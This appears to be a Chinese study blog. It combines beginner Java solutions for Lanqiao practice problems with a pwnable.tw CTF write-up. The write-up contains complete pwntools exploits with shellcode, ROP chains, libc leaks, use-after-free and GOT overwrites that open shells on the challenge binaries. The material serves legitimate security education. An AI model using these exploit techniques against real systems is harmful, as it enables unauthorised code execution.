// Collections.sort(list);//排序
// System.out.println(list.get(list.size()-1));
// System.out.println(list.get(0));

//直接求
System.out.println(Collections.max(list));
System.out.println(Collections.min(list));
}
}

查找整数

  1. for循环查找
  2. 使用list的indexof直接查找

循环

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
package basic_try;

import java.util.ArrayList;
import java.util.List;
import java.util.Scanner;

public class FindInteger {
public static void main(String[] args) {
Scanner scan = new Scanner(System.in);
int n = scan.nextInt();
int [] arr = new int [n];
for(int i=0;i<n;i++) {
arr[i] = scan.nextInt();
}
int num = scan.nextInt();
for(int i =0;i<n;i++) {
if(num == arr[i]) {
System.out.println(i+1);
return;
}
}
System.out.println(-1);
}
}

indexof

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package basic_try;

import java.util.ArrayList;
import java.util.List;
import java.util.Scanner;

public class FindInteger {
public static void main(String[] args) {
Scanner scan = new Scanner(System.in);
int n = scan.nextInt();
List<Integer> list = new ArrayList<Integer>();
for(int i=0;i<n;i++) {
list.add(scan.nextInt());
}
int result = list.indexOf(scan.nextInt());
if(result == -1) {
System.out.println(-1);
}else {
System.out.println(list.indexOf(scan.nextInt())+1);
}
}
}

杨辉三角形

动态创建二维数组

1
2
3
4
5
int [][] arr;
arr = new int[n][];
for(int i=0;i<n;i++) {
arr[i] = new int[n];
}

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
package basic_try;

import java.util.Scanner;

public class Yang {
public static void main(String[] args) {
int n = new Scanner(System.in).nextInt();
int [][] arr;
arr = new int[n][];
for(int i=0;i<n;i++) {
arr[i] = new int[n];
}

arr[0][0] = 1;
arr[1][0] = 1;
arr[1][1] = 1;

for(int i=2;i<n;i++) {
arr[i][0] = 1;
arr[i][i] = 1;
for(int j=1;j<=i-1;j++) {
arr[i][j] = arr[i-1][j-1]+arr[i-1][j];
}
}

for(int i=0;i<n;i++) {
for(int j=0;j<=i;j++) {
System.out.print(arr[i][j]+" ");
}
System.out.println();
}
}
}

特殊的数字

  1. 找到三位数的分开表述
  2. 三层for循环

三位数的分开表述

1
2
3
a = i/100;
b = i/10%10;
c = i%10;

exp1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package basic_try;

public class SpecialNum {
public static void main(String[] args) {
int a,b,c;
for(int i=100;i<1000;i++) {
a = i/100;
b = i/10%10;
c = i%10;
if(Math.pow(a, 3)+Math.pow(b, 3)+Math.pow(c, 3) == i) {
System.out.println(i);
}
}
}
}

exp2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package basic_try;

public class SpecialNum2 {
public static void main(String[] args) {
for(int a=1;a<10;a++) {
for(int b=0;b<10;b++) {
for(int c=0;c<10;c++) {
if(a*100+b*10+c == Math.pow(a,3)+ Math.pow(b,3)+ Math.pow(c,3)) {
System.out.println(a*100+b*10+c);
}
}
}
}
}
}

对于这种与进制相关的,可以考虑循环来做,循环的条件是几进制,循环的层数是几位

回文数

这道题,网上的exp大多是比较第一位、低四位和第二位、第三位是否相同,循环从1000到9999

其实就是所有的二进制,然后后面和前面是镜面相同,所以输出所有的二进制,然后字符串翻转即可。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package basic_try;

public class Huiwen {
public static void main(String[] args) {
for(int i=10;i<100;i++) {//前两位
System.out.println(i+reverse(i+""));
}
}
//翻转
static String reverse(String s) {
if(s.length()==0) {
return "";
}else if(s.length() == 1) {
return s;
}
return s.charAt(s.length()-1) + reverse(s.substring(0,s.length()-1));
}
}

特殊回文数

牛逼哄哄的觉着,首先是循环,分循环写得劲,然后五位和六位的判断【注意:都是if】也很简单,因为要顺序排,所以六位放字符串里面存着,末尾加回车,最后输出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package basic_try;

import java.util.Scanner;

public class SpecialHui {
public static void main(String[] args) {
int n = new Scanner(System.in).nextInt();
String s="";
for(int a=1;a<10;a++) {
for(int b=0;b<10;b++) {
for(int c=0;c<10;c++) {
if(2*(a+b)+c == n) {//五位
System.out.println(""+a+b+c+b+a);
}
if(2*(a+b+c) == n) {//六位
s = s+a+b+c+c+b+a+"\n";
}
}
}
}
System.out.println(s);
}
}

十进制转十六进制

使用java内置的api:

  1. String.format("%X", num)
  2. Integer.toHexString(num)【转大写用:toUpperCase()

注意:X大写则输出的十六进制都是大写,小写则小写

1
2
3
4
5
6
7
8
9
10
package basic_try;

import java.util.Scanner;

public class FormSixteen {
public static void main(String[] args) {
int num = new Scanner(System.in).nextInt();
System.out.println(String.format("%X", num));
}
}

十六进制转十进制

进制转换java都有实现好的,直接用即可。

【注意:最大二进制八位,要用long型】

1
2
3
4
5
6
7
8
9
10
package basic_try;

import java.util.Scanner;

public class FormSixteen {
public static void main(String[] args) {
String hex = new Scanner(System.in).next();
System.out.println(Long.parseLong(hex,16));
}
}

十六进制转八进制

有点被恶心到了,感觉和别人写的差球不多,,,但是自己的运行不通过,555

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
package basic_try;

import java.util.Scanner;

public class FormSixteen2 {
static int in;
static String middle;
static String result1 = "";
static String result2 = "";
static String last = "";
static int lenght;

public static void main(String[] args) {
Scanner scan = new Scanner(System.in);
int n = scan.nextInt();
for(int i =0 ;i<n;i++) {
last += twotoeight(hextotwo(scan.next()))+'\n';
}
System.out.println(last);
}
//二进制转八进制
static String twotoeight(String eight) {
result1="";
lenght = eight.length();
if(lenght%3==1) {
eight = "00"+eight;
}else if(lenght%3==2) {
eight = "0"+eight;
}
if(eight.startsWith("000")) {
eight = eight.substring(3);
}
for(int i=0;i<eight.length();i=i+3) {
middle = eight.substring(i,i+3);
result1 += (middle.charAt(0)-'0')*4+ (middle.charAt(1)-'0')*2+ (middle.charAt(2)-'0')+"";
}
return result1;
}
//十六进制转二进制
static String hextotwo(String hex) {
result2="";
for(int i=0;i<hex.length();i++) {
result2+=two(hex.charAt(i));
}
return result2;
}
static String two(char six) {
switch(six) {
case '0':
return "0000";
case '1':
return "0001";
case '2':
return "0010";
case '3':
return "0011";
case '4':
return "0100";
case '5':
return "0101";
case '6':
return "0110";
case '7':
return "0111";
case '8':
return "1000";
case '9':
return "1001";
case 'A':
return "1010";
case 'B':
return "1011";
case 'C':
return "1100";
case 'D':
return "1101";
case 'E':
return "1110";
case 'F':
return "1111";
}
return "";
}
// static String oc(String two) {
// switch(two) {
// case "000":
// return "0";
// case "001":
// return "1";
// case "010":
// return "2";
// case "011":
// return "3";
// case "100":
// return "4";
// case "101":
// return "5";
// case "110":
// return "6";
// case "111":
// return "7";
// }return "";
// }
}

image-20210115102701132

照着网上的敲的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
package basic_try;

import java.util.Scanner;

public class two12 {
static String[] bin = {"0000","0001","0010","0011",
"0100","0101","0110","0111",
"1000","1001","1010","1011",
"1100","1101","1110","1111"};
static String[] oct = {"0","1","2","3","4","5","6","7",
"8","9","a","b","c","d","e","f"};
public static void main(String[] args) {
Scanner scan = new Scanner(System.in);
int n = scan.nextInt();
String [] str = new String[n];

for(int i=0;i<n;i++) {
str[i] = scan.next();
}
for(int i=0;i<n;i++) {
String result = hexToBin(str[i]).toString();
String octResult = binToOct(result);
if(octResult.startsWith("0")) {
octResult = octResult.substring(1);
}
if(octResult.startsWith("0")) {
octResult = octResult.substring(1);
}
System.out.println(octResult);
}
}
//十六进制转换成二进制
private static StringBuffer hexToBin(String str) {
int length = str.length();
int start = 0;
int end = 1;
StringBuffer result = new StringBuffer();
for(int i=0;i<length;i++) {
String subStr = str.substring(start,end);
start++;
end++;
String s = transform(subStr);
result.append(s);
}
return result;
}
private static String binToOct(String str) {
int length = str.length();
if(length % 3 == 1) {
str = "00"+str;
}else if(length % 3 == 2) {
str = "0" + str;
}

int start = 0;
int end = 3;
StringBuffer sb = new StringBuffer();
for(int i=0;i<str.length()/3;i++) {
String subStr = str.substring(start,end);
start += 3;
end += 3;
String s= transform2(subStr);
sb.append(s);
}
return sb.toString();
}
private static String transform(String str) {
String result = "";
switch(str) {
case "0":result = bin[0];break;
case "1":result = bin[1];break;
case "2":result = bin[2];break;
case "3":result = bin[3];break;
case "4":result = bin[4];break;
case "5":result = bin[5];break;
case "6":result = bin[6];break;
case "7":result = bin[7];break;
case "8":result = bin[8];break;
case "9":result = bin[9];break;
case "A":result = bin[10];break;
case "B":result = bin[11];break;
case "C":result = bin[12];break;
case "D":result = bin[13];break;
case "E":result = bin[14];break;
case "F":result = bin[15];break;
default:break;
}
return result;
}
private static String transform2(String str) {
String result = "";
switch(str) {
case "000":result = oct[0];break;
case "001":result = oct[1];break;
case "010":result = oct[2];break;
case "011":result = oct[3];break;
case "100":result = oct[4];break;
case "101":result = oct[5];break;
case "110":result = oct[6];break;
case "111":result = oct[7];break;
}
return result;
}
}

嗯嗯,思路还行,,,就是内存和时间限制,,,就有问题了,,,咋也不知道,咋也不敢问。。。。

数列排序

使用list或者array的sort方法

list

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
package basic_try;

import java.util.ArrayList;
import java.util.Collections;
import java.util.List;
import java.util.Scanner;

public class Sort {
public static void main(String[] args) {
Scanner scan = new Scanner(System.in);
int n = scan.nextInt();
List<Integer> list = new ArrayList<Integer>();
for(int i =0 ;i<n;i++) {
list.add(scan.nextInt());
}
Collections.sort(list);
for(int i =0 ;i<n;i++) {
System.out.print(list.get(i)+" ");
}
}
}

array

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package basic_try;

import java.util.Arrays;
import java.util.Scanner;

public class Sort2 {
public static void main(String[] args) {
Scanner scan = new Scanner(System.in);
int n = scan.nextInt();
int [] arr = new int[n];
for(int i =0 ;i<n;i++) {
arr[i] = scan.nextInt();
}
Arrays.sort(arr);
for(int i =0 ;i<n;i++) {
System.out.print(arr[i]+" ");
}
}
}

经常使用的

1
2
Scanner scan = new Scanner(System.in);
int n = scan.nextInt();
1
int n = new Scanner(System.in).nextInt();
1
2
3
int [] arr = new int[n];

arr[i] = scan.nextInt();
1
2
3
for(int i =0 ;i<n;i++) {

}
1
System.out.print(list);
1
2
3
4
List<Integer> list = new ArrayList<Integer>();
for(int i =0 ;i<n;i++) {
list.add(scan.nextInt());
}

pwnable.tw记录(前八题)

更新中.jpg

image-20210115105118752

start

栈溢出,ret2shellocde

程序流程:执行一次write函数和一次read函数。

  • 第一次栈溢出,劫持程序返回write函数的赋参地址(接下来write会将之前的esp地址输出)
  • 第二次write输出esp地址,read函数布置栈空间,放上shellcode,并通过esp的偏移找到shellcode的地址,放在返回地址上。

20200423213641742

image-20210104164903387

因为第一次最后面retn的时候pop eip,所以第二次write的时候,esp会在0xffffd10c也就是旧的esp的地方。

第二次read的时候,因为add esp,14h,所以这里的覆盖量还是0x14

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
filename = './start'
#p = process(filename)
p = remote("chall.pwnable.tw",10000)
#gdb.attach(p,"b*0x08048060")

p.recvuntil("Let's start the CTF:")
payload = "a"*0x14+p32(0x08048087)
p.send(payload)#不是sendline,否则0x0a会覆盖esp地址的低地址

esp = u32(p.recv()[0:4])
log.success("esp:"+hex(esp))
shellcode_addr = esp + 0x14#后来的返回地址和之前的esp就差一个0x14,因为最后一个(add esp,14h)
log.success("shellcode_addr:"+hex(shellcode_addr))
shellcode = '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'#32位较短的shellcode

payload = "b"*0x14+p32(shellcode_addr) + shellcode
log.success("len:"+hex(len(payload)))
p.sendline(payload)
p.interactive()

以前写的:https://blog.csdn.net/qq_43935969/article/details/105717621

orw

开启了沙箱,只能执行open、read和write函数

程序流程:输入shellcode,执行shellcode,但shellcode里面只能orw

找orw的shellcode即可。

https://xz.aliyun.com/t/6645?spm=5176.12901015.0.i12901015.5e28525cINEQJh#toc-3

shellcode的编写思路

  1. 打开flag文件(open)

  2. 将文件内内容读到(read)指定位置的栈上(其实哪里东西,,,注意不会被覆盖就行)

  3. 用write函数读取指定位置的信息即可。

32位函数寄存器

  • 第一个参数:ebx
  • 第二个参数:ecx
  • 第三个参数:edx

int 0x80调用表

几个常用的,不常用的见百度

%eax Name Source %ebx %ecx %edx %esx %edi
1 sys_exit kernel/exit.c int - - - -
2 sys_fork arch/i386/kernel/process.c struct pt_regs - - - -
3 sys_read fs/read_write.c unsigned int char * size_t - -
4 sys_write fs/read_write.c unsigned int const char * size_t - -
5 sys_open fs/open.c const char * int int - -
6 sys_close fs/open.c unsigned int - -

open

函数原型:int open(const char * pathname, int flags, mode_t mode);

flags表示读写权限,0表示只读

  • O_RDONLY:以只读方式打开文件。
  • O_WRONLY:以只写方式打开文件。
  • O_RDWR:以可读写方式打开文件。
1
2
3
4
5
6
7
8
9
10
11
int fd = open("/home/orw/flag",0,0)
#将字符串"/home/orw/flag"放入栈中
push 0x00006761
push 0x6c662f77
push 0x726f2f65
push 0x6d6f682f

/bin/sh
0x0068732f
0x00006873
0x6E69622f
1
2
3
4
mov eax,0x5#open函数调用号
mov ebx,esp#第一个参数为字符串地址,因为字符串在刚刚压栈,就是esp
xor ecx,ecx#第二个参数为0
int 0x80

image-20210104213908883

read

函数原型:ssize_t read(int fd, void *buf, size_t count);

fd是文件描述符

  • 标准输入(standard input)的文件描述符是 0

  • 标准输出(standard output)的文件描述符是 1

所以这里将open函数的返回值作为文件描述符

1
read(fd,buf,0x30);//直接用之前的
1
2
3
4
5
mov ebx,eax#fp的地址,也就是open函数返回地址
mov ecx,esp#读入到栈上,因为后续没有push、pop等操作,所以esp不变
mov edx,0x30#长度
mov eax,0x3#read函数调用号
int 0x80

write

函数原型:ssize_t write(int fd, const void *buf, size_t nbyte);

标准输出,故文件描述符为1

1
write(1,buf,0x30);
1
2
3
mov ebx,0x1#文件描述符为1
mov eax,0x4#write函数调用号
int 0x80

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#mobile
from pwn import *
filename = './orw'
#p = process(filename)
p = remote("chall.pwnable.tw",10001)

p.recvuntil("Give my your shellcode:")
payload = asm('''
push 0x00006761
push 0x6c662f77
push 0x726f2f65
push 0x6d6f682f
mov eax,0x5
mov ebx,esp
xor ecx,ecx
int 0x80
mov ebx,eax
mov ecx,esp
mov edx,0x30
mov eax,0x3
int 0x80
mov ebx,0x1
mov eax,0x4
int 0x80
''')
p.send(payload)

p.interactive()

CVE-2018-1160

https://xz.aliyun.com/t/3710?spm=5176.12901015.0.i12901015.1d27525cNPKLYj#toc-0

https://medium.com/tenable-techblog/exploiting-an-18-year-old-bug-b47afe54172

https://medium.com/tenable-techblog/exploiting-an-18-year-old-bug-b47afe54172

calc

实现了一个计算器的功能,由于逻辑不严密,导致可以构造非法式子,修改内存的值。

需要耐心分析程序,maybe还需要脑洞大开

image-20210108173852141

主函数很简单,主要看calc函数

image-20210108174030310

主要有三个函数,get_expr用来输入计算公式并过滤非法字符;init_pool在站上分配一段空间并将内容清0;parse_expr是主要函数,用于对计算公式解析并计算。最后由printf函数打印输出结果。

注意:函数结束的条件是!get_expr((int)&expr_0, 1024)输入的字符串长度大于1024,然后可以返回main继续执行。

bzero函数

原型:extern void bzero(void *s, int n);

  • s 要置零的数据的起始地址
  • n 要置零的数据字节个数

image-20210108174912889

image-20210108175150201

image-20210110211310303

image-20210110211900726

这里需要好好理解。

漏洞在于,

image-20210110212502340

image-20210110213412358

最后在栈内布置如下rop

注释
0x0805c34b pop eax ; ret
11 数值
0x080701aa pop edx ; ret
0 数值
0x080701d1 pop ecx ; pop ebx ; ret
0 数值
binsh地址 通过main ebp计算得到
0x08049a21 int 0x80
0x6E69622f “/bin”
0x0068732f “/sh\x00”

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
from pwn import *
filename = './calc'
p = process(filename)
#p = remote("chall.pwnable.tw",10100)

context.log_level = 'debug'
p.recvuntil("===")

p.sendline("+360")
p.recvline()
ebp_base = p.recv()
ebp_base = int(ebp_base)
print("[*]ebp_base1:"+str(ebp_base))

print("[*]ebp_base2:"+hex( int(ebp_base) & 0xffffffff ))

payload1 = "+361+77490"
payload2 = "+362-77479"
payload3 = "+363+134599427"
payload4 = "+364-134599427"
payload5 = "+365+77518"
payload6 = "+366-77518"
p.sendline(payload1)
p.sendline(payload2)
p.sendline(payload3)
p.sendline(payload4)
p.sendline(payload5)
p.sendline(payload6)

bin_sh_addr=ebp_base + 4
diff_367=bin_sh_addr - 77518
p.sendline('+367'+str(diff_367))

p.sendline('+368')
p.recvline()
p.recvline()
p.recvline()
p.recvline()
p.recvline()
p.recvline()
p.recvline()
num_368 = p.recvline()
diff_368 = 134519329 - int(num_368)
print("[*]diff_368:"+str(diff_368))
print("[*]num_368:"+str(num_368))

p.sendline("+368")
p.sendline("+368+"+str(diff_368))

p.sendline("+369")
p.recvline()
p.recvline()
num_369 = p.recvline()
diff_369 = 1852400175 - int(num_369)
p.sendline("+369+"+str(diff_369))
print("[*]num_369:"+str(num_369))

p.sendline("+370")
p.recvline()
num_370 = p.recvline()
print("[*]num_370:"+str(num_370))
diff_370 = int(num_370) - 6845231
p.sendline("+370-"+str(diff_370))
print("[*]diff_370:"+str(diff_370))

p.sendline("a"*2048)
p.sendline("+361")

p.interactive()

参考:

从pwnable.tw-calc看数组越界造成的任意地址读写

youtube上视频:https://www.youtube.com/watch?v=LTgNNE04x2w

3* 17

dubblesort

保护全开、栈溢出

程序流程

  1. 输入name => 字符串没有’\x00’截断,信息泄露,计算libc基址
  2. 输入sort的数字个数 => 个数任意
  3. 输入数字到arr_sort数组 => 数组在[esp+1Ch]的位置【注意:这里gdb调试的时候用ebp不好使,,,】
  4. sort进行排序 => 数据从小到大输入才不会被改变

故如果个数较大,使得输入的数据能够覆盖返回地址和参数,即可getshell

1.name(libc基址)

name=“aaaa”,查看内存,故令name为“a”×0x18,最后还要发送回车或其他覆盖泄漏地址的低字节。

image-20210113094525538

这里基址的获取不等于0xf7f55000 - 0xf7da2000 = 0x1B3000,因为本地libc库和目标系统的libc库不一样,偏移也就不同!

libc基址偏移的获取

使用命令readelf -S libc_32.so.6查找.got.plt段的起始地址即可。

1
2
3
4
5
6
7
winter@ubuntu:~/tw$ readelf -S libc_32.so.6 
There are 68 section headers, starting at offset 0x1b0cc8:

Section Headers:
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
[...]
[31] .got.plt PROGBITS 001b0000 1af000 000030 04 WA 0 0 4

也就是起始地址为0x001b0000

system和”/bin/sh\x00”偏移

system地址的获取指令:readelf -s libc_32.so.6 | grep system【注意:s是小写】

1
2
3
4
winter@ubuntu:~/tw$ readelf -s libc_32.so.6 | grep system
245: 00110690 68 FUNC GLOBAL DEFAULT 13 svcerr_systemerr@@GLIBC_2.0
627: 0003a940 55 FUNC GLOBAL DEFAULT 13 __libc_system@@GLIBC_PRIVATE
1457: 0003a940 55 FUNC WEAK DEFAULT 13 system@@GLIBC_2.0

“/bin/sh\x00”获取:使用hex软件查找字符串”/bin/sh”

image-20210113101221317

【直接ida搜索字符串找不到该地址,,,可能由于不再字符串段?】hex下载地址

覆盖返回地址

ida里面显示数组情况:int arr_sort; // [esp+1Ch] [ebp-70h],但是由于esp计算是正确的,ebp不对。

根据调试得到,覆盖到canary需要0x18个字节。

image-20210113102645806

image-20210113102755565

canary

因为不能覆盖canary,所以要想办法不改变它的值。

方法是输入“+”或者“-”

image-20210113102947391

发现通过输入“+”、“-”并不会修改它的值。

image-20210113103843869

所以,接下来都填充成system函数,需要9个,接着填上“/bin/sh”的地址。

注意:【一般canary会小于system函数地址(0xf7开头),而libc中system又在“/bin/sh“之前,所以实现从小到大,sort后不会改变顺序,不能用“||sh”,因为大小小于system的地址。】

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#coding = utf - 8
from pwn import *
filename = './dubblesort'
p = process(filename)
#p = remote("chall.pwnable.tw", 10101)
context.log_level = 'debug'
libc = ELF("./libc_32.so.6")


p.recvuntil("What your name :")
p.sendline("aaaa"*6)
p.recvuntil("aaaa"*6)
leak_me = u32(p.recv()[:4])
log.success("leak:"+hex(leak_me))

libc_base = leak_me - 0x1B000a
system = libc_base + 0x0003a940
binsh = libc_base + 0x158e8b
log.success("system:"+hex(system))

#p.recvuntil("numbers do you what to sort :")
p.sendline("35")

def my_send(idx,content):
log.success("idx:"+str(idx))
p.recvuntil(str(idx)+" number : ")
p.sendline(content)

for i in range(24):
print(i)
my_send(i,str(i))
gdb.attach(p)
my_send(24,"+")#canary

for i in range(9):
my_send(int(25+i),str(system))
my_send(34,str(binsh))

p.interactive()

参考:

  1. pwnable.tw刷题之dubblesort

hacknote

简单的堆题,uaf(类似于hitcon的uaf)

难点在于libc没有字符串’/bin/sh’,解决方法在于直接将字符串“||sh”作为字符串地址传入即可。

image-20210110205251966

打印内容的语句,能否打印是判断该idx的ptr[i]是否存在

image-20210110205533787

image-20210110205601001

首先修改参数为got表地址,泄漏libc基址,然后修改函数地址为system,后面为“||sh”

system getshell参数

  1. ‘/bin/sh’字符串地址
  2. ‘sh’字符串地址
  3. ‘||sh’字符串(感觉非常有用,,,哈哈哈)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#coding = utf-8
from pwn import *
filename = './hacknote_4'
p = process(filename)
p=remote("chall.pwnable.tw",10102)
libc = ELF("./libc_32.so.6")
elf = ELF("./hacknote_4")
context.log_level = 'debug'

def add(size,content):
p.recvuntil("Your choice :")
p.sendline("1")
p.recvuntil("Note size :")
p.sendline(str(size))
p.recvuntil("Content :")
p.send(content)

def delete(idx):
#p.recvuntil("Your choice :")
p.sendline("2")
p.recvuntil("Index :")
p.sendline(str(idx))

def show(idx):
p.recvuntil("Your choice :")
p.sendline("3")
p.recvuntil("Index :")
p.sendline(str(idx))

#申请两个非0大小的块(而且要一样,不然不好使【不知道为什么,大佬教教我。。。】)
add(0x38,'aaaa')#0
add(0x38,'bbbb')#1


delete(0)#0
delete(1)#1

#将两个块的头malloc,其中一个还是ptr[i],另一个0x8大小的作为数据区
add(0x8,p32(0x0804862b)+p32(elf.got['atoi']))#2

#因为原先两个ptr[i]都申请回来了,所以可以将上面前四个字节作为函数,后四个字节作为参数地址。
show(0)

atoi_addr = (u32(p.recv()[:4]))
log.success("atoi:"+str(atoi_addr))

libc_base = (atoi_addr) - (libc.symbols['atoi'])
system_addr = libc_base + libc.symbols['system']

log.success("system:"+hex(system_addr))

#因为没有edit函数,所以先delete再add做修改。
delete(2)#2
add(0x8,p32(system_addr)+'||sh')#3
show(0)#调用

p.interactive()

Silver Bullet

off by one修改大小,造成栈溢出。

程序流程,分别是创建,edit修改(使用了strncat)和根据长度减去hp,可以退出循环

strncat

原型

char \* strncat(char *dest, const char *src, size_t n);

  • dest指向目标字符串
  • src为指向源字符串。

strncat()会将dest字符串最后的’\0’覆盖掉,字符追加完成后,再追加’\0’。

程序流程

image-20210115105743970

因为数据最大是0,所以*((_DWORD *)s + 12) = v2;刚好在数据相邻后面的位置上。

image-20210115110048753

image-20210115110545658

image-20210115110401451

所以,如果第一次输入40个数据,第二次输入8,那么数据长度变为8,还可以继续输入,造成栈溢出

image-20210115111613400

但是要程序返回的话,要需要返回,只有beat函数里面win才能return 0

image-20210115112152972

所以覆盖长度大于image-20210115112229004,接着覆盖返回地址为输出函数,泄漏got表信息,得到基址,计算system和‘/bin/sh’地址,覆盖返回地址的返回地址为main函数,再次执行覆盖长度,填充返回地址即可得到shell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#mobile
from pwn import *
filename = './silver_bullet'
p = process(filename)
#p = remote("chall.pwnable.tw",10103)
context.log_level = 'debug'
libc = ELF("./libc_32.so.6")
elf = ELF("./silver_bullet")

def cmd(choice):
p.recvuntil("Your choice :")
p.sendline(str(choice))

def add(content):
#cmd(1)
p.sendline(str(1))
p.recvuntil("Give me your description of bullet :")
p.sendline(content)

def edit(content):
cmd(2)
p.recvuntil("Give me your another description of bullet :")
p.sendline(content)

add("a"*40)
edit("a"*8)#off by one

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = 0x08048954

payload = '\xff'*7+p32(puts_plt)+p32(main)+p32(puts_got)#覆盖长度、返回地址为输出函数
edit(payload)

cmd(3)#win,return 0
p.recvuntil("Oh ! You win !!\n")
puts_addr = u32(p.recv()[:4])
log.success("puts:"+hex(puts_addr))#得到puts的got表信息

libc_base = puts_addr - libc.symbols['puts']
system = libc_base + libc.symbols['system']
binsh = libc_base + libc.search('/bin/sh').next()

#第二次main函数
add("a"*40)#再次覆盖长度
edit("a"*8)
payload = '\xff'*7+p32(system)+p32(main)+p32(binsh)#覆盖返回地址为system
edit(payload)

cmd(3)

p.interactive()

Re-alloc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
#coding:utf-8
from pwn import *
import sys
local = 1
if len(sys.argv) == 2 and (sys.argv[1] == 'DEBUG' or sys.argv[1] == 'debug'):
context.log_level = 'debug'

if local:
p = process('./re-alloc')
elf = ELF('./re-alloc')
libc = elf.libc
else:
p = remote("chall.pwnable.tw","10106")
elf = ELF('./re-alloc')
libc = elf.libc

def debug(addr=0,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
print "breakpoint_addr --> " + hex(text_base + 0x202040)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))

sd = lambda s:p.send(s)
rc = lambda s:p.recv(s)
sl = lambda s:p.sendline(s)
ru = lambda s:p.recvuntil(s)
sda = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)

def show(name,addr):
log.info(name + " --> %s",hex(addr))

def choice(idx):
sla("choice: ",str(idx))

def add(idx,size,data):
choice(1)
sla("Index:",str(idx))
sla("Size:",str(size))
sda("Data:",data)

def realloc(idx,size,data=''):
choice(2)
sla("Index:",str(idx))
sla("Size:",str(size))
if size != 0:
sda("Data:",data)

def free(idx):
choice(3)
sla("Index:",str(idx))

add(0,8,"hello")
realloc(0,0)#free了,但没有置零
realloc(0,8,p64(elf.got['atoll']))#对free的块直接修改

gdb.attach(p)

add(1,8,'n0va')#将上面的块申请回来
realloc(1,0x20,'aaa')#修改大小为0x31
free(1)
#gdb.attach(p)
realloc(0,0x20,p64(elf.got['atoll']))#chunk0和chunk1内存中指向一个chunk,0的头没有置零,realloc正常。

add(1,0x20,'bbb')#1申请回来0x31
realloc(0,0x30,'bbb')#realloc变0x41
free(0)#0free了,头被置零了,0x41进入tcache
realloc(1,0x40,'ccc')#将1的大小realloc为0x51进入
free(1)#1也free了,0x51进入tcache
#0x20 [ 0]: 0x404048 (atoll@got.plt) ◂— ...
#0x30 [ 0]: 0x404048 (atoll@got.plt) ◂— ...
#0x40 [ 1]: 0x1db4260 ◂— 0x0
#0x50 [ 1]: 0x1db4260 ◂— 0x0

add(0,0x18,p64(elf.plt['printf']))#修改atollgot表为printf plt
# leak address
choice(1)
#gdb.attach(p,"b *0x40129D")
sla("Index:","%3$p")#泄漏信息
read_chk = int(ru('\n').strip('\n'),16) - 9
libc_base = read_chk - libc.symbols['__read_chk']
system = libc_base + libc.symbols['system']

show("libc_base: ",libc_base)
show("system: ",system)

#gdb.attach(p)

# change atoll to system
choice(1)
sda("Index:",'a')
#gdb.attach(p,"b *0x40129D")
sda("Size:",'%32c')
sda("Data:",p64(system))

# get shell
choice(1)
sda("Index:",'/bin/sh\x00')

#gdb.attach(p)

p.interactive()

参考:Pwnable.tw刷题之Silverbullet破解过程分享

入门训练:http://lx.lanqiao.cn/problemset.page?code=BEGIN-&userid=363463

Fibonacci数列

Fibonacci数列加上求余%

使用递归会超时,故大数组+循环

提交格式

  • 不需要package,需要import
  • 修改类名为Main
1
2
3
4
